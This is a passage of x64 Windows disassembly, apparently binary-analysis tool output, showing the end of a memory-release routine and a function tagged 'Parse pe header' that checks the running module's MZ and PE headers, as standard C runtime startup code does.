cmp rdx, 0x1000
jb 0x140001a8b
mov r8, qword [rcx - 8]
add rcx, 0xfffffffffffffff8
sub rcx, r8
cmp rcx, 0x20
jae 0x140001aab
add rax, 0x28
mov rdx, rax
mov rcx, r8
call fcn.140001f08
mov edx, 0x973
mov rcx, rsi
call fcn.140001f08
xor eax, eax
add rsp, 0xb8
pop rbx
pop rdi
pop rsi
pop rbp
ret
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3

Function at 0x14000275c
Capabilities:
Parse pe header

Disassembly:
sub rsp, 0x28
xor ecx, ecx
call qword [sym.imp.KERNEL32.dll_GetModuleHandleW]
test rax, rax
je 0x1400027a6
mov ecx, 0x5a4d
cmp word [rax], cx
jne 0x1400027a6
movsxd rcx, dword [rax + 0x3c]
add rcx, rax
cmp dword [rcx], reloc.KERNEL32.dll_RtlCaptureContext
jne 0x1400027a6
mov eax, 0x20b
cmp word [rcx + 0x18], ax
jne 0x1400027a6
cmp dword [rcx + 0x84], 0xe
jbe 0x1400027a6
cmp dword [rcx + 0xf8], 0
setne al
jmp 0x1400027a8
xor al, al
add rsp, 0x28
ret